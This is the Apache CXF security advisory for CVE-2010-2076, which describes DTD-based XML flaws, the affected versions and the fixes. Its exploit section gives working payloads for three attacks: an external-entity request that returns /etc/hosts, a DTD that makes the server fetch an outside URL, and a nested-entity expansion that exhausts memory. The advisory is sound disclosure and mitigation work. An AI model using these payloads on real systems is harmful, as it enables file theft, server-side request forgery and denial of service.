Apache CXF Security Advisory (CVE-2010-2076)

DTD based XML attacks

Author: Daniel Kulp • First version: June 15, 2010 • First published: June 16, 2010 • Last updated: June 16, 2010

Summary

The Apache CXF team recently discovered a security issue that may allow an attacker to carry out denial of service attacks and to read arbitrary files on the file system of the node where CXF runs. This vulnerability may potentially be exploited on any CXF installation that receives XML messages from untrusted sources.

1. Description

According to the SOAP 1.1 specification, “A SOAP message MUST NOT contain a Document Type Declaration.” In CXF, this constraint is enforced in the ReadHeadersInterceptor class as it tries to find the SOAP:Envelope element. This approach presents two issues:

1. It only works for SOAP bindings. HTTP bindings supporting plain XML messages still allow document type declarations in request messages.
2. When processing a document with a document type declaration, an error is only reported after receiving the DTD event from the StAX parser. However, at this point, the StAX parser may already have processed (part of) the document type declaration.

This implies that CXF is vulnerable to DTD based XML attacks. There are two types of such attacks:

- Document type declarations may reference other documents, namely a DTD or external entities declared in the internal subset. If the XML parser is configured with a default entity resolver (which is the case for CXF), this allows an attacker to instruct the parser to access arbitrary files. Since URLs may be used as system IDs, this includes remote resources accessible only in the network where the server is deployed. An attacker may exploit this in several ways:
  - By inspecting the error message in the service response, he may be able to scan for the presence of certain files on the local file system of the server or for the availability of certain network resources accessible to the server.
  - By including an internal subset in the document type declaration of the request and using external entity declarations, he may be able to include the content of arbitrary files (local to the server) in the request. There are many services that produce responses that include information from the request message (either as part of a normal response or a SOAP fault). By carefully crafting the request, the attacker may thus be able to retrieve the content of arbitrary files from the server.
  - Using URLs with the “http” scheme, the attacker may use the vulnerability to let the server execute arbitrary HTTP GET requests and attack other systems that have some form of trust relationship with the CXF server.
- While XML does not allow recursive entity definitions, it does permit nested entity definitions. If a document has very deeply nested entity definitions, parsing that document can result in very high CPU and memory consumption during entity

expansion. This produces the potential for Denial of Service attacks.

2. Systems affected

2.1. CXF deployments

All CXF installations with versions prior to 2.2.9/2.1.10/2.0.13 are, to some extent, vulnerable. The most vulnerable installations are those on which at least one service is deployed that has an HTTP binding.

Note that all types of CXF deployments are affected by these vulnerabilities. This includes standalone deployments, deployments using the WAR deployments, as well as Web applications embedding CXF.

2.2. Other products

CXF is used in (or as the basis for) other products. This includes the ServiceMix, Camel, Chemistry (in incubation), jUDDI, and Geronimo projects from the ASF, several open source projects outside the ASFas well as several commercial products. It is likely that these products are vulnerable as well.

It is possible that Web service frameworks other than CXF are affected by similar vulnerabilities.

The exploits described in section 5 may be used to check whether a given product is vulnerable.

3. Impact assessment

The vulnerability described in this advisory may allow an attacker to read arbitrary files on the file system of the node where CXF runs, provided that the account running the CXF instance has access to these files and that Java 2 security is not used to prevent file system access. An attacker may also be able to retrieve unsecured resources from the network if they are reachable from the CXF instance with URLs that are recognized by the Java runtime. However, to do so, the attacker needs to create a specially crafted request that requires knowledge about the services deployed on the CXF instance. Therefore, this vulnerability cannot be exploited in an automated way.

The vulnerability may also allow the attacker to check the file system of the server (resp. network resources reachable by the server) for the existence of certain files (resp. resources), as well as to carry out Denial of Service attacks. These attacks don’t require knowledge about the services deployed on CXF and may thus be exploited using scripting.

It is important that all users of CXF (and derived products) who have deployments that accept XML messages from untrusted sources take appropriate actions to mitigate the risk caused by the vulnerability described in this advisory. This also applies to users who have secured their installations using WS-Security.

4. Solutions

In order to avoid the vulnerability described in this advisory, apply one of the solutions explained in the following sections.

4.1. Upgrade to the latest CXF patch levels

The security issue described in this advisory is fixed in CXF 2.0.13, 2.1.10 and 2.2.9. These releases forbid document type declarations even for HTTP binding messages documents. These versions are the latest patch levels for the various branches of CXF and contain numerous other fixes. Therefore upgrading to one of these versions is the best solution. All users are STRONGLY encouraged to use this solution.

4.2. Replace the default parser

CXF provides the ability to specify your own XMLInputFactory that is used to create the XMLStreamReader used to parse the XML messages. Using that functionality, you can configure in a parser that has the DTD processing turned off. For example, using the samples/wsdl_first_pure_xml sample that comes with CXF, you can add a class like:

```
package demo.hw.server;

import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLResolver;
import javax.xml.stream.XMLStreamException;

public class ParserFactory {

    public static XMLInputFactory createFactory() {
        XMLInputFactory factory = XMLInputFactory.newInstance();
        factory.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, Boolean.TRUE);
        factory.setProperty(XMLInputFactory.SUPPORT_DTD, Boolean.FALSE);
        factory.setProperty(XMLInputFactory.IS_REPLACING_ENTITY_REFERENCES,
                            Boolean.FALSE);
        factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES,
                            Boolean.FALSE);
        factory.setXMLResolver(new XMLResolver() {
            public Object resolveEntity(String publicID, String systemID,
                                        String baseURI, String namespace)
                throws XMLStreamException {
                throw new XMLStreamException("Reading external entities is
disabled");
            }
        });
        return factory;
    }
}
```

You would then configure that onto the endpoint in your cxf.xml (or other spring config file) like: (using the same sample)

```
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:jaxws="http://cxf.apache.org/jaxws"
      xmlns:cxf="http://cxf.apache.org/core"
      xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://cxf.apache.org/core http://cxf.apache.org/schemas/core.xsd
http://cxf.apache.org/jaxws http://cxf.apache.org/schemas/jaxws.xsd">
```

```
    <jaxws:endpoint name="{http://apache.org/hello_world_xml_http/bare}XMLPort"
        wsdlLocation="wsdl/hello_world.wsdl"
        createdFromAPI="true">
        <jaxws:properties>
            <entry key="javax.xml.stream.XMLInputFactory">
                <bean class="demo.hw.server.ParserFactory"
                      factory-method="createFactory"/>
            </entry>
        </jaxws:properties>
    </jaxws:endpoint>
</beans>
```

5. Exploits

5.1. Remote file access

The vulnerability can be demonstrated using a stock CXF 2.2.8 distribution by using the wsdl_first_pure_xml sample. In samples/wsdl_first_pure_xml, start the server by running "ant server".

The request that exposes the vulnerability is as follows:

```
<!DOCTYPE  requestType  [
     <!ENTITY file SYSTEM "/etc/hosts">
]>
<requestType
xmlns="http://apache.org/hello_world_xml_http/bare/types">
&file;
</requestType>
```

Sending this request to the wsdl_first_pure_xml sample gives the following response:

```
<responseType
xmlns="http://apache.org/hello_world_xml_http/bare/types">Hello
# /etc/hosts: Local Host Database
#
# This file describes a number of aliases-to-address mappings for
the for
# local hosts that share this file.
#
# In the presence of the domain name service or NIS, this file may
not be
# consulted at all; see /etc/host.conf for the resolution order.
#

# IPv4 and IPv6 localhost aliases
127.0.0.1       localhost
::1             localhost
</responseType>
```

As can be seen, the response includes the full content of the /etc/hosts file. While this leverages a particular feature of the wsdl_first_pure_xml sample, it is expected that a similar attack can be performed with many real world services.

5.2. Arbitrary HTTP GET request execution

The DOCTYPE processing can also be used to trick CXF into executing arbitrary HTTP GET requests (including query parameters):

```
<!DOCTYPE root SYSTEM "http://www.google.com/search?q=test">
<root/>
```

5.3. Denial of Service

A Denial of Service attack using deeply nested entity definitions can easily be demonstrated using the following request:

```
<!DOCTYPE  root  [
     <!ENTITY x32 "foobar">
     <!ENTITY x31 "&x32;&x32;">
     <!ENTITY x30 "&x31;&x31;">
     <!ENTITY x29 "&x30;&x30;">
     <!ENTITY x28 "&x29;&x29;">
     <!ENTITY x27 "&x28;&x28;">
     <!ENTITY x26 "&x27;&x27;">
     <!ENTITY x25 "&x26;&x26;">
     <!ENTITY x24 "&x25;&x25;">
     <!ENTITY x23 "&x24;&x24;">
     <!ENTITY x22 "&x23;&x23;">
     <!ENTITY x21 "&x22;&x22;">
     <!ENTITY x20 "&x21;&x21;">
     <!ENTITY x19 "&x20;&x20;">
     <!ENTITY x18 "&x19;&x19;">
     <!ENTITY x17 "&x18;&x18;">
     <!ENTITY x16 "&x17;&x17;">
     <!ENTITY x15 "&x16;&x16;">
     <!ENTITY x14 "&x15;&x15;">
     <!ENTITY x13 "&x14;&x14;">
     <!ENTITY x12 "&x13;&x13;">
     <!ENTITY x11 "&x12;&x12;">
     <!ENTITY x10 "&x11;&x11;">
     <!ENTITY x9  "&x10;&x10;">
     <!ENTITY x8  "&x9;&x9;">
     <!ENTITY x7  "&x8;&x8;">
     <!ENTITY x6  "&x7;&x7;">
     <!ENTITY x5  "&x6;&x6;">
     <!ENTITY x4  "&x5;&x5;">
     <!ENTITY x3  "&x4;&x4;">
     <!ENTITY x2  "&x3;&x3;">
     <!ENTITY x1  "&x2;&x2;">
```

```
]>
<root attr="&x1;"/>
```

When sent to any valid HTTP endpoint, this request will cause an out of memory condition on the server. The reason is that while checking if the request is acceptable, CXF needs to parse the start tag of the document element. The expansion of the entity used in the attribute on this element will then cause an out of memory error.

6. Contact

Please send all security relevant comments (e.g. about additional vulnerabilities not identified by this advisory) to security@apache.org. Questions and comments that are not security relevant may be sent to the public dev@cxf.apache.org mailing list.